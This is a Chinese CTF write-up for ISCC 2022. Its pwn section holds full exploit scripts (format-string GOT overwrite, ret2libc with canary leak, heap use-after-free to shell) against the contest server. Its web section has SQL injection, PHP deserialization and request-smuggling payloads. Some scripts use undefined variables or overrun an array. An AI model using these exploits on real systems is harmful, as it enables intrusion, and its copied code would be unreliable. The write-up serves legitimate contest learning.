# PWN

# create_id

漏洞点

image-20220523201628183

image-20220523201701199

image-20220523201718514

有后门,格式化字符串漏洞,去修改 x 的值为 9,然后获取 flag 即可。

from pwn import *
p=process(./k)
d = int(p.recv(10), 16)
for I in range(3):
p.sendline('123')
king = p32(d)+'%5c%10$n'
p.sendline(king)
p.interactive()

# sim_treasure

漏洞点:

image-20220523203444871

无后门,格式化字符串漏洞。

泄露 libc 基地址,修改 printf 的 got 表为 system,执行 printf,获取 shell。

from pwn import *
p=remote('123.57.69.203',7010)
e = ELF('./iscc')
pgd=e.got['printf']
payload='%8$p'
p.sendline(payload)
payload=p32(pgd)+'%6$s'
p.sendline(payload)
printf_addr=u32(p.recvuntil('\xf7')[-4:])
libc_base=printf_addr-0x512d0
system=0x0003d200+libc_base
l=system&0xffff
h =(system>>16)&0xffff
payload=p32(printf_got_addr)
payload+=p32(printf_got_addr+2)
payload+='%'+str(l-8)+'c%6$hn'
payload+='%'+str(h-low)+'c%7$hn'
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

# 跳一跳

存在 canary,不过用 % s 可以给带出来。主要难点就是 + 对 scanf 的 % hhd 的绕过。这里最后进行了一下源码调试,+ 和 - 确实可以绕过检查,但是又没有被写入栈里,达到了占一位的目的。然后精心构造好要泄露的数据,用 + 覆盖即可,其他的用垃圾数据补充,最后接收一下,绕过 canary 检查,ret2libc 直接日了。

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
def autofill_long_libc(target_vul,leak_addr):
 obj = LibcSearcher(target_vul, leak_addr)
 libc_base = leak_addr - obj.dump(target_vul)
 sys_addr = libc_base + obj.dump('system')
 bin_sh_addr = libc_base + obj.dump('str_bin_sh')
 print('libc_base---->',hex(libc_base))
 return sys_addr, bin_sh_addr
def autofill_local_libc(target_vul,leak_addr,libc):
 libc_base = leak_addr - libc.symbols[target_vul]
 sys_addr = libc_base + libc.symbols['system']
 bin_sh_addr = libc_base + libc.search("/bin/sh").next()
 print('libc_base---->',hex(libc_base))
 return sys_addr,bin_sh_addr
p=remote('123.57.69.203',7020)
#p=process('./a')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p)
p.recvuntil('Hello CTFer! Welcome to the world of pwn~\n')
for i in range(0x58):
 sleep(0.01)
 p.sendline('17')
for i in range(0x6):
 sleep(0.01)
 p.sendline('-')
#leak setbuffer
for i in range(0x4a):
 sleep(0.01)
 p.sendline('18')
for i in range(0x6):
 sleep(0.01)
 p.sendline('-')
'''leak libc_base'''
for i in range(0x1a):
 sleep(0.01)
 p.sendline('19')
for i in range (0x6):
 sleep(0.01)
 p.sendline('-')
'''leak base'''
for i in range(2):
 sleep(0.01)
 p.sendline('120')
for i in range(6):
 sleep(0.01)
 p.sendline('-')
'''leak canary'''
for i in range(0x3):
 sleep(0.01)
 p.sendline('21')
'''
for i in range(7):
 sleep(0.01)
 p.sendline('-')
'''
p.send('a')
#pause()
a=p.recv()
#p.sendline('1')
io_stderr_addr=u64(a[0x67:0x6d].ljust(8,'\x00'))
#io_stderr_addr=u64(a[0x91:0x97].ljust(8,'\x00'))
#setbuffer_addr=u64(a[0xe1:0xe7].ljust(8,'\x00'))-231
setbuffer_addr=u64(a[0xb7:0xbd].ljust(8,'\x00'))-231
print('setbuffer_addr-------------------->',hex(setbuffer_addr))
libc_base=io_stderr_addr-0x3ec680
print('io_stderr_addr-------------------->',hex(io_stderr_addr))
print('libc_base-------------------------->',hex(libc_base))
base=u64(a[0xd7:0xdd].ljust(8,'\x00'))-0x10a0
#base=u64(a[0x101:0x107].ljust(8,'\x00'))-0x10a0
print('base------------------------------->',hex(base))
leak_stack=u64(a[0xdf:0xe5].ljust(8,'\x00'))
#leak_stack=u64(a[0x109:0x10f].ljust(8,'\x00'))
print('leak_stack-------------------------->',hex(leak_stack))
#canary=u64(a[0x112:0x119].rjust(8,'\x00'))
canary=u64(a[0xe8:0xef].rjust(8,'\x00'))
print('canary------------------------------>',hex(canary))
print(a)
result=autofill_long_libc('setbuffer',setbuffer_addr)
#result=autofill_local_libc('setbuffer',setbuffer_addr,libc)
#result=autofill_long_libc('_IO_2_1_stderr_',io_stderr_addr)
sys_addr=result[0]
bin_sh_addr=result[1]
pop_rdi_addr=base+0x130b
leave_addr=base+0x124a
print(hex(bin_sh_addr))
#gdb.attach(p)
#pause()
payload=p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
payload=payload.ljust(0xd8,'a')
payload+=p64(canary)+p64(leak_stack-0x1d0-8)+p64(leave_addr)
p.sendline(payload)
p.interactive()

# untidy_note

漏洞点:

image-20220525174911350

image-20220525174816013

因为 free 掉后 没有清空指针 导致产生了 uaf 漏洞 配合堆溢出 即可 getshell

from pwn import *
context.log_level = "debug"
# r = process('./pwn3')
r = remote('123.57.69.203', 7030)
libc = ELF('./libc-2.27.so')
s = lambda data :r.send(str(data))
sa = lambda delim, data: r.sendafter(str(delim), str(data))
sl = lambda data: r.sendline(str(data))
sla = lambda delim, data: r.sendlineafter(str(delim), str(data))
def dbg():
    gdb.attach(p)
    pause()
def add(size):
    sla('choose is:\n',str(1))
    sla('the note size is:\n',size)
def delete(idx):
    sla('Your choose is:\n',str(2))
    sla('index:\n',idx)
def edit(idx,size,content):
    sla('choose is:\n',str(3))
    sla('index:\n',idx)
    sla('the size is:\n',size)
    sa('Content:\n',content)
def show(idx):
    sla('choose is:\n',str(4))
    sla('index:\n',idx)
sl('aaa')
for i in range(7):
    add(0x10)
delete(0)
delete(1)
show(1)
r.recvuntil("Content:")
heap = u64(r.recv(6) + '\x00' * 2) - 0x250
print(hex(heap))
edit(0, 0x10, p64(heap))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
edit(7, 0x20, p64(0) * 4)
delete(5)
edit(5, 0x10, p64(heap + 0x20))
add(0x10)
add(0x10)
edit(10, 0x10, p64(0x7000000))
delete(7)
add(0x10)
show(10)
r.recvuntil("Content:")
base = u64(r.recv(6) + '\x00' * 2) - 0x3ebee0
print('base:' + hex(base))
free = base + libc.sym['__free_hook']
system = base + libc.sym['system']
edit(10, 0x20, p64(0) * 4)
delete(10)
edit(10, 0x20, p64(free))
add(0x10)
add(0x10)
edit(11, 0x10, p64(system))
edit(10, 0x10, "./bin/sh\x00")
delete(10)
r.interactive()

image-20220525174234337

# WEB

# 冬奥会

这个题就是一个简单的代码审计

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);//接受get的传参的json格式,转换为数组格式

if(is_array($info)){//判断是不是数组格式

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;//检查year是不是数字或者数字字符串,是则结束
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");//判断items是一个3个量的数组且第二个值的类型是一个数组
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;//判断数组中是否有skiing这个字符串,没有则结束
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;//判断数组中是否有skiing这个字符串,有则结束
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;//文件包含打印flag
}
?> 

要注意的点我写在代码的注释中了,首先传入格式是 json,有个变量为 year 值不能是数字或者数字字符串,有个数组 iteam,然后要对数组第二个进行判断不是数组为 3 个值则进入 if 条件句满足两个条件跳过 if 语句,接着用 array_seach 判断数组中是否有 skiing 没有则退出,然后又用 foreach 判断有则退出,这里判断原理是弱等于,用 0 就可以绕过所以最终 payload

?Information={"year":"a","items":[0,[],2]}

image-20220518165416498

# 爱国敬业好青年 - 2

image-20220518184331689

页面就是一个请找到爱国敬业好青年所处的城市(前一个题一直零解,,前一个题一直零解,我只想把出题人关小黑屋抄 100,,不 200 遍社会主义核心价值观),通过前一个题

image-20220518205949672

可以判断应该是北京天安门的坐标,输入了他给了个假的 flag,我还去试了半天(哭晕在厕所)输什么他都会给这个假的 flag

image-20220518210629313

Ctrl+u 看源码

image-20220518210543869

有个 info 路由,进去是刚刚那个假的 flag,往上看 form 标签,有个 action 规定当提交表单时向 flag 发送表单数据,method 规定了以 post 提交,用 hackbar 提交数据

image-20220518211322294

# Pop2022

这个题当时是非预期解做的,直接访问 flag.php 得到 flag,应该是文件没删,后来被修改了

# Easy-SQL

看题目是一个 sql 的题

image-20220518213817064

提示我们找数据库名?尝试用 id

image-20220518214135491

这个回显怎么说,像是 sql-labs 靶场,先用 sqlmap 扫描一下

image-20220518214417226

只能知道数据库是 securitymysql 数据库版本是 8

image-20220518214029540

这个地方的 flag 是假的,id 等于 8 的时候

image-20220518214605462

看到提示让猜邮箱,security 数据库中有一个 emails 的表,mysql8.0 开始新版的特性可以使用 table user 替换 select * from,这里用联合查询且用 limit 去截取 emails 表中的数据,截取到第 7 个的时候发现一个压缩包,先下载下来看看

image-20220518215644798

打开下载的文件

image-20220518215509119

这里可以看到还可以用 post 传入数据带入 sql 语句

image-20220518220043951

且这里只对 passwd 进行了严格的过滤,我们可以在 username 这个地方插入语句用单引号闭合前面的引号,对 username 判断是不是等于 admin,对 username 转化的数组的 passwd 部分与 passwd 比较,这里先判断几个字段,这个题的源码越审越感觉见过

image-20220518221330323

image-20220518221353598

4 个字段没反应,3 个字段正常回显,这里可以判断是 3 个字段

image-20220518221515614

这里经测试是第三个字段为密码,又提示说错误的 user,尝试用 admin 去替换 1,2

image-20220518221900144

都没反应?这是过滤了?admin 出现就没反应了,尝试用 16 进制绕过

username=1' union select 1,0x61646d696e,3#&passwd=3

image-20220518222126997

# findme

这个题打开就一张图片

image-20220521233627739

看源码发现注释了有一个文件

image-20220521233714398

打开这个文件,看到是一个 php 的代码审计

<?php
highlight_file(__FILE__);
class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){// 魔术方法,当类被实例化时自动调用
        if(!empty($this->un0) && empty($this->un2)){// 当变量 un0 存在,un2 不存在时进入 if 条件句
            $this -> Givemeanew();// 调用 Givemeanew 方法
            if($this -> un3 === 'unserialize'){// 当 un3 等于 unserialize 进入 if 条件句
                $this -> yigei();// 调用 yigei 函数
            }
            else{
                $this -> giao();// 调用 giao 函数
            }
        }
    }
    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);// 将 un0 的参数实例化赋值给 un4
    }
    public function yigei(){
        echo 'Your output: '.$this->un4;// 打印 un4 的值
    }
    
    public function giao(){
        @eval($this->un2);// 代码执行函数
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';// 文件包含函数
    }
}
$data = $_POST['data'];
unserialize($data);

发现有一个 hint 文件,先用伪协议去读这个文件

<?php
highlight_file(__FILE__);
class a{
    public $un2="php://filter/read=convert.base64-encode/resource=";
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}
$a=new a;
echo serialize($a);
//O:1:"a":1:{s:3:"un2";s:49:"php://filter/read=convert.base64-encode/resource=";}

image-20220522125410541

解密读内容

image-20220522125458491

<?php
$a = 'flag 在当前目录下以字母 f 开头的 txt 中,无法爆破出来 ';
想办法读当前目录,想到用原生类和

<?php

class a{
    public $un0="DirectoryIterator";//遍历指定目录下的所有文件的原生类,通过Givemeanew方法中的实例化
    public $un1="glob:///var/www/html/f*.txt";//查找匹配的文件路径模式匹配提示的文件
    public $un3="unserialize";
}
$a=new a();
echo serialize($a);
//O:1:"a":3:{s:3:"un0";s:17:"DirectoryIterator";s:3:"un1";s:27:"glob:///var/www/html/f*.txt";s:3:"un3";s:11:"unserialize";}

image-20220522130241623

文件名越改越复杂,,,,,

image-20220522130326809

# 让我康康!

image-20220518223308258

看源码有提示说 try flag,输入 flag

image-20220518223400947

提示说 flag 在 /fl4g 中,去访问这个文件

image-20220518223455599

看来是有 waf 了,尝试了 url 编码绕过,目录穿越,垃圾数据溢出都不行,这里用 http 走私来绕 waf

在 gunicorn 20.0.4 版本中,存在一个请求走私漏洞,无论在 gunicorn 前使用哪个代理,该漏洞都有效。 Http 头中的

Sec-Websocket-Key: 1

会进行特殊解析,从而引发此漏洞。

image-20220522135511140

来自本地

image-20220522133628262

在传入 flag 的 http 走私中拿到一个 ip 没见过,看来就是获取来源 ip 的了,加上这个字段

image-20220522135725416

# REVERSE

# GetTheTable

image-20220522182259706

应该是有奇奇怪怪的编码

先用查壳工具检查

image-20220522152531721

无壳,64 位,拖到到 64 位 IDA,min 函数里有一字符串,不管那么多先尝试解码

image-20220522153149092

用解码工具解码

image-20220522153230845

得到 flag

# Amy's Code

还是先放到查壳工具

image-20220522153628120

无壳 32 位,拖到 IDA32 位查看

image-20220522154006817

在 main 函数看到有两个加密算法,sub_4115FF 点进去发现是个异或,关键函数是 sub_411433 函数,跟踪函数

image-20220522154255019

这个地方也是一个简单的算法,那思路就简单了,逆运算一下就行,写一个脚本如下

#include<stdio.h>
int main()
{
	char v9[20];
  v9[0] = 149;
  v9[1] = 169;
  v9[2] = 137;
  v9[3] = 134;
  v9[4] = 212;
  v9[5] = 188;
  v9[6] = 177;
  v9[7] = 184;
  v9[8] = 177;
  v9[9] = 197;
  v9[10] = 192;
  v9[11] = 179;
  v9[12] = 153;
  v9[13] = 125;
  v9[14] = 197;
  v9[15] = 130;
  v9[16] = 160;
  v9[17] = 187;
  v9[18] = 109;
  v9[19] = 184;
  v9[20] = 0;
  char str[]="LWHFUENGDJGEFHYDHIGJ";
	for(int i=0;i<20;i++)
	{
		v9[i]=v9[i]-str[i];
		v9[i]=v9[i]^i;
	} 
	printf(v9);
	return 0;
}
//ISCC{reverse_8b1Hc4}

image-20220522160819846

# How_decode

image-20220522163025436

64 位,放到 IDA 先找到 main 函数

image-20220522163133859

发现就一个 encode 函数,跟踪查看

image-20220522163551658

这个还是比较眼熟的,可以判断是一个 XXTEA 加密,网上没找到好用的在线工具,发现个脚本可以直接跑

#include<stdio.h>
#include<stdint.h>
#define DELTA 0x9e3779b9
int *decrypt(int32_t*data,size_t len,int32_t*key){
int n=(uint32_t)len-1;
int z,y=data[0],p,q=6+52/(n+1),sum=q * DELTA,e;
if(n<1)
return data;
while(sum!=0){
e=sum>>2&3;
for(p=n;p>0;p--){
z=data[p-1];
y=data[p]-=(((z>>5)^(y<<2))+((y>>3)^(z<<4)))^((sum^y)+(key[(p&3)^e]^z));
}
z=data[n];
y=data[0]-=(((z>>5)^(y<<2))+((y>>3)^(z<<4)))^((sum^y)+(key[(p&3)^e]^z));
sum-=DELTA;
}
return data;
}
int main()
{
int32_t v[]= {646664799,-1563984516,5403868,-851615406,-1577982033,-1112569621,-2038538024,89732896,856644365,-1143066723,1826125009,947398586,-204891967,-1909151093,632925486,381866701,-976384688,-1681924957};
int32_t k[4]={73,83,67,67};
int n=18;
decrypt(v,n,k);
printf("解密:\n");
for(int i=0;i<18;i++){
	printf("%c",v[i]);
}
return 0;
}
// 解密:ISCC {qiPc3F9vXgvn}

image-20220522182031536

# Sad Code

image-20220522182224867

喜欢做题,哪来呗

还是先查壳

image-20220522183154672

32 位没有壳

IDA32 打开发现有一个四元一次方程组,两个 if 条件句都满足时才会进入语句

image-20220522183519315

16 进制转为 10 进制后发现数太大,笔算太复杂,网上淘个可以在线计算的工具四元一次方程组计算器 (99cankao.com)

image-20220522211717399

第一个方程组的解

a[]={1230193475,2068859464,1296122456,1429031002}

image-20220522211424436

第二个方程的解

a[]={1313362508,1246113109,1464621131,1264076413}

将结果转为 16 进制后转字符串

image-20220522212736823

# VigenereLike

image-20220523173216082

64 位 ELF 文件用 ida 打开

image-20220523173821236

第一个关键函数是 sub_2914,跟踪审计是 7 次一次异或处理,第二个关键函数 sub_29C9 跟踪发现

image-20220523174032865

里面的 sub_27c6 进行 base64 编码 sub_2569 一个混淆加密

分析完了写个脚本跑一下就行

# -*- coding: utf-8 -*-
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def jiema(a):
    ch = []
    for i in a:
        if i != '=':
            x = str(bin(s.index(i))).replace('0b', '')
            ch.append('{:0>6}'.format(x))
    b = ""
    nums = a.count('=')
    while ch:
        temp_list = ch[:4]
        temp_str = "".join(temp_list)
        if (len(temp_str) % 8 != 0):
            temp_str = temp_str[0:-1 * nums * 2]
        for i in range(0, int(len(temp_str) / 8)):
            b += chr(int(temp_str[i * 8:(i + 1) * 8], 2))
        ch = ch[4:]
    return b
a = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b = "rJFsLqVyFKZFEJvgerWvFpMkdmHBs5RX1ummCrv="
key = "ISCCYES"
v17 = [1,2,3,4,5,6,7]
flag = ""
flag1 = ""
for i in range(len(b)-1):
    flag += a[(a.find(b[i]) - a.find(key[i%7]) + 63) % 63]
flag += "="
flag =jiema(flag)
for i in range(len(flag)):
    flag1 += chr(ord(flag[i]) ^ v17[i%7])
print("ISCC{"+flag1[:-4]+"}")

image-20220523180552373

# Bob's Code

查壳

image-20220525151428988

32 位拖到 ida 查看

image-20220525151726644

sub_41167c base64 编码

image-20220525151904056

sub_411389base64 表

image-20220525151938658

sub_411023 是加点

image-20220525152036547

sub_4116E0 字符串移动两位

image-20220525152329282

先将位移的过程逆回去

#include <stdio.h> 
#include <string.h> 
int main(){ 
char str[]=".W1BqthGbfivMoNh3WMtqt.M9FoZtVc042AYzxgW1VoZputGBpVPRmeNlkoF0."; 
for(int i=0;i<strlen(str);i++)
{ 
	if ( str[i] < 65 || str[i] > 90 )
		{	 
			if ( str[i] >= 97 && str[i] <= 122 ) 
				str[i] = (str[i]+24 - 97) % 26 + 97; 
		}
	else
			str[i] = (str[i]+24 - 65) % 26 + 65; 
		}
printf(str); 
return 0; 
}

image-20220525153433300

手工将第一个和 22 位两个点去了

U1ZorfEzdgtKmLf3UKrorK9DmXrTa042YWxveU1TmXnsrEZnTNPkcLjimD0.

然后是自定义 base64 解码

image-20220525160242588

然后再 base64

image-20220525160013189

# MISC

# 2022 冬奥会

image-20220519184605368

这个提示另一只雪容融的原型是灯笼,修改图片长度

image-20220523205055522

解码得到如下信息,个人突破口还是雪容融

image-20220523205300413

这里将压缩包用 WinRAR 打开输入密码灯笼,解压出来一个 jpg 文件用 010Editor 打开

image-20220519185034297

# 单板小将苏翊鸣

文件下载下来解压后

image-20220519185208759

很明显这张图的高度不对,下面应该还有别的东西,用 010Editor 打开修改高度

image-20220519185357852

image-20220519185443800

发现一张二维码,扫描得结果

image-20220519185636137

发现编码信息,解码

image-20220519185748503

看到提示信息

image-20220519185908858

则压缩包密码应该是 15942

image-20220519190015979

解压拿到 flag,(早知道就直接爆破文件密码了)

# 隐秘的信息

image-20220519190301822

首先对题目给的 base 解码

image-20220519190418219

暂时不知道这能干嘛,看到文件是加密的,我们拿到的信息只有这个吗,应该是密码

image-20220519190640762

解压得到这个图片,png 图片隐写,先用 010 打开前后数据块没发现可疑信息,用 png 隐写神器 Stegsolve 打开文件

image-20220519191710066

用这个通道打开发现数据不太一样,这是 16 进制,尝试转化成字符串

image-20220522121348107

# 降维打击

这个题就给了一个图片,用 010 打开前后数据库没有有用信息,但是图片里还有一个 png 文件

image-20220519193131337

放到 kail 里用 foremost 分离一下

image-20220519193452690

又得到一个 png 图片,在 Stegsolve 里面各个通道没有找到有用的信息,可以用 zsteg 分离图片

image-20220519194750167

这里还有一个 png 文件,套娃,,

分离出这个文件

image-20220519194940717

魔改的英文,去网上找魔女之女的对照表《魔女之旅》文字破解・续 - 哔哩哔哩 (bilibili.com)

image-20220519195143847

image-20220519195257456

然后全大写,每 4 个中间加一个中线

# 藏在星空中的诗 - 1

打开文件

image-20220519201028835

很明显这个图是 ps 处理的,拖到在线 ps 工具里【在线 PS】PS 软件网页版,ps 在线图片处理工具 photopea - 稿定设计 PS (gaoding.com)

image-20220519201351415

将图层透明度更改后看到有个循序 13524

image-20220519201441954

建议使用 winrar 因为 winrar 会将密码明文显示

image-20220519201632921

打开得到密码对照表

image-20220519201705336

image-20220519201734279

将这个一一对照出来得到 flagISCC

# 藏在星空中的诗 - 2

一道组合题,那么前面的对照表还能在这继续用

image-20220519201938545

这里对照出来后发现他的格式是 \QTTk 可以猜到这里是 Unicode 解码

将对应的字母 \u0049\u0053\u0043\u0043\u007B\u0040\u0034\u0073\u0035\u006d\u004f\u006d\u0028\u0075\u0045\u002a\u0041\u0055\u004E\u007D

image-20220519203527616

# 真相只有一个

打开 flag.txt 这个文件,对其全选的时候,发现有不可见字符

image-20220519204032239

现在判断可能是 sonw 隐写,现在去找解密的密码,用 stegsolve 打开文件,在通道中看到了密码,看来好像是一部分,剩下的爆破

image-20220519204241873

现在只能尝试去看看这个 stream 里面有什么东西了,用 010 打开发现

里面有个流量包

image-20220519204619091

将这个压缩包修复

image-20220519204650069

爆破密码

image-20220519204750682

得到了压缩包的密码 19981111,对其进行流量分析

image-20220523142654587

检查 UDP 流,发现 mp3 文件, 下一个页面就是音频,转化成原始数据,导出保存

image-20220523142732502

image-20220523142757057

拖入 AU(Audacity)

image-20220523215612112

直接看最后一部分,应该是摩斯密码

image-20220523215535188

最终解析得到的如下

../.../-.-./-.-./--/../.../-.-./

最终的信息如下

image-20220519205104722

拿到密码,用 snow 这个工具进行解密,根据使用文档,可以知道这条命令用于解密

image-20220519205246095

# MOBILE

# MobileA

通过分析代码,发现 flag 分为俩部分

第一部分被 AES/CBC 模式加密(K@e2022%% y base64 编码后做密钥,I&V2022*** base64 编码后做 IV),然后再 base64 编码,所以我们要先 base64 解码,然后 AES/CBC 模式解密

image-20220526204056185

Base64 解码

image-20220526204208211

AES 解密

image-20220526204115322

第一部分

[]vfgty78(*IUJ_

先进行 md5 加密,然后 base64 编码,最后打乱编码后的字符串,所以我们写还原字符串,然后 base64 解码,最后 md5 解密

image-20220526204244203

修复字符串顺序

image-20220526205342282

base64 解码

image-20220526205720555

最后 md5 解密

image-20220526205735276

第二部分 flag

geometry

flag:ISCC

# 擂台赛

# web

# Melody

image-20220523132358975

image-20220523132309953

image-20220523132334892

好像 admin 不能登录,但是别的可以

image-20220523133759933

随意登录的账号源码有提示说改用户没有获取 flag 的权限,很显然这里要伪造身份登录,先看看登录页面源码

image-20220523134137083

看到这里还有一个 info,看看有没有什么信息

image-20220523134238295

更改 ua 头

image-20220523134429953

给了一个传参的值,这里发现有模板注入,可以读取 flash 的环境变量

image-20220523135722275

发现 session_key

image-20220523135846975

这里用脚本伪造 admin 的 session

image-20220523141101872

伪造 admin 登录,发现一个假的 falg

image-20220523141344980

image-20220523141413462

源码部分看到一个文件

image-20220523141543280

也不难,只要通过反序列化去覆盖 melody 模块变量,然后进入到 if 条件句,读取文件 flag.txt

image-20220523142237418

这里用 /therealflag 路由 post 方法传入

image-20220523142224292

# MOBILE

# Mobile Analysis

可以看出 flag 分为三部分

![image-20220526210104591

先分析第一部分 C0541b.m2a,只是将 base64 编码后的字符串打乱位置,我们直接修复位置,然后 base64 解码

image-20220526210003326

image-20220526205951887

第一段 flag

ISCC{displac

第二部分分析 C0540a.m4a,然后何 C0542c.m0a () 进行对比

image-20220526205910372

直接可以爆破出,然后 base64 解码

第二段 flag

e_alternativ

第三段先 C0540a.m3b 加密,然后 AES/CBC 模式加密

image-20220526205858784

修复后 ZV9tb2JpbGV9,最后 base64 解码

image-20220526205819591

第三段 flag

e_mobile}

flag:ISCC

# REVESE

# Easyre

image-20220526203644152

32 位无壳

img

image-20220526203714894

image-20220526203727419

发现四处花指令,将 e8 改成 90 保存重新进入 ida

image-20220526203738935

连续三个加密函数

image-20220526203900785

image-20220526203910168

image-20220526203922780

每一个分别用 destination 前三位中三位后三位进行异或加密

image-20220526203935498

v11 是 flag

#include<stdio.h> 
int main()
{
  char a[] = "^<L^<LX:LX.MJ.MJ9PJ9VF$VF$T@$T];";
  char key[] = "enc!@#key";
  int i = 0;
  for (i = 0; i < 32; i++)
    a[i] = a[i] ^ key[i % 3+6]; 
  for (i = 0; i < 32; i++)
    a[i] = a[i] - key[i % 3+3]; 
  for (i = 0; i < 32; i++)
    a[i] = a[i] ^ key[i % 3];
    printf("%s", a);
  return 0;
}

image-20220524210612534

加上 iscc

ISCC

# Encode

image-20220526203949173

64 位无壳

image-20220526204001594

Encode 为加密函数

前一部分是加减异或加密

image-20220526204011659

后一部分为 rsa 算法,用私钥加密公钥解密

image-20220526204018736

算出 e = 37n = 77d = 37

#include<stdio.h> 
int main()
{
	int answear[] = { 0x23,0x4a,0x7,0x2b,0x1d,0x6,0x3f,0x36,0x36,0x2b,0x5,0x7,0x6,0x39,0x2,0x6,0x38,0x21,0x4b,0x1a,0x2d,0x2d,0x39,0x2 };
	char flag[25] = {0};
	int e, n, d;
	int count;
	int a;
	int i;
	a = 1;
	e = 37;
	n = 77;
	d = 37;
	for (i = 0; i < 24; i++)
	{
		for (int j = 0; j < d; j++)
		{
			a = a * answear[i] % n;
		}
		flag[i] = a;
		a = 1;
	}
	for (i = 0; i < 24; ++i)
	{
		flag[i] += 70;
		flag[i] ^= 63;
	}
	for (i = 0; i < 12; ++i)
	{
		flag[i] ^= flag[24 - i - 1];
		flag[24 - i - 1] ^= flag[i];
		flag[i] ^= flag[24 - i - 1];
	}
	for (i = 0; i < 24; i++)
		flag[i] ^= 15;
	printf("%s", flag);
return 0;
}

image-20220524210859590